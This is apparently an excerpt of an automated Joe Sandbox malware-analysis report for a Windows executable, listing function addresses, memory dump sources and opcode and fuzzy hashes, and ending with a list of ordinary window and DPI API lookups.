Instruction Fuzzy Hash: 115158B3F1112057F308593DDD997BAB68ADBD0321F2E423DEE85D7784E93999054282

Function 012EE9FD Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

LMSo, xrefs: 012EEB75

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: LMSo
API String ID: 0-3294581844
Opcode ID: 887778c34d7e01a17bb5b85ba788fce3b09d991ecdbcdf5b2ad53a0aa6532f7f
Instruction ID: a895266b3d5ffc04e603a05b65e5a46eadc4e43434fcc2a62e1d9d0c525d6f95
Opcode Fuzzy Hash: 887778c34d7e01a17bb5b85ba788fce3b09d991ecdbcdf5b2ad53a0aa6532f7f
Instruction Fuzzy Hash: 52415AF3A082105BE3089E6CEC9577BB6D5DB94320F0A423DEAD9C7784E9699D0583C6

Function 6C5F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3945af931951f740eaf189df7d3033ed920ecd74ef54b6a6e6def6ac4bccceca
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4B222875E00619CFDB18CF98C890AADF7B2FF88304F588699C45AA7745D770A986CF90

Function 6C63AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction ID: bb68ae06108836c480beb54ce5e8cc186aaef97af16b4e23b263b537b81c23f3
Opcode Fuzzy Hash: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction Fuzzy Hash: 24F16B71A087554FDB00CE68C8807AAB7E2AFC6318F15BA1DE4D8877C2E374D8459796

Function 013CBBE0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d8ce7109bcdc55ee50ba172b37fafdfd8a83ac8c0189eef5128e7d123d85d7d
Instruction ID: 5f6e5117be526658ed3a54b5f35e875b42f067cce5d52b392ae0ee74cfa1e57d
Opcode Fuzzy Hash: 1d8ce7109bcdc55ee50ba172b37fafdfd8a83ac8c0189eef5128e7d123d85d7d
Instruction Fuzzy Hash: 738178F3B082009BF7086E29EC9977AB6D6DFD4320F1A423DDA8587784E97958058286

Function 01318FAA Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c20ecf7991f7706b2c11a7d8759ee9493faf557640e5d7a8e9ce2bfc2a96eda
Instruction ID: 68b5f98b987cae69b93e578b831b645cbb09172fbd8414cf2a6e73a124ad6965
Opcode Fuzzy Hash: 6c20ecf7991f7706b2c11a7d8759ee9493faf557640e5d7a8e9ce2bfc2a96eda
Instruction Fuzzy Hash: 9261D1F3B092006FE318AE1DEC9577AB7DAEFD4720F1A853DE6C483784E93558018696

Function 012A89A0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 642126dc0771cdd71919aa0896c064195e4d65a8211523fa12940e2c8618d4bb
Instruction ID: d0b24c83c64a12bd5220d8455585f4aabc271b35f78daddc187f018264802d4a
Opcode Fuzzy Hash: 642126dc0771cdd71919aa0896c064195e4d65a8211523fa12940e2c8618d4bb
Instruction Fuzzy Hash: 676148F3E182045BF3186D39DD8877ABBD6EBD0310F1B823DEAC857784E93959054686

Function 01334586 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddc48c9c586c5da8292b2eaa3b9c920a93474ef00950db3b4a172be531a24153
Instruction ID: e9c927c3a59e4fb634d110c94f75cdd94bf88295c5d9f53797c3215e749c20f9
Opcode Fuzzy Hash: ddc48c9c586c5da8292b2eaa3b9c920a93474ef00950db3b4a172be531a24153
Instruction Fuzzy Hash: 69419FF3B182005BF30C6E2DDD6677A73DADB94720F2A413DE686C3BC5E97998014251

Function 012B8372 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5192c7140ac08ad68b27583143912c68980128af830a2bbf9c61d9ce76c271
Instruction ID: 8deb74f11bc4546b0e178c4ae4862efef24e35baff63f4143d6acf2fe1573812
Opcode Fuzzy Hash: de5192c7140ac08ad68b27583143912c68980128af830a2bbf9c61d9ce76c271
Instruction Fuzzy Hash: DE41D2F3A092048BF3086E3DDD953BAB7D6EB94310F1B853CEAC987784E93968454646

Function 0138F115 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec45023fd523229afaca2ec66381fc144074ec9a3f93ef91833a794b4894668
Instruction ID: fff6285fc94ae3a66fcdcac693fe205f3174e1732811116dcb77a050e7d15bad
Opcode Fuzzy Hash: cec45023fd523229afaca2ec66381fc144074ec9a3f93ef91833a794b4894668
Instruction Fuzzy Hash: F141D2F3D082209BF3486A24DC853AAF6D1EB94310F17493DDBC897784E9B9580187C7

Function 01019750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C6255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C5FE1A5), ref: 6C625606
LoadLibraryW.KERNEL32(gdi32,?,6C5FE1A5), ref: 6C62560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C625633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C62563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C62566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C62567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C625696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C625716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C62572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C625748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C625761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C62577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C625793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6257A8
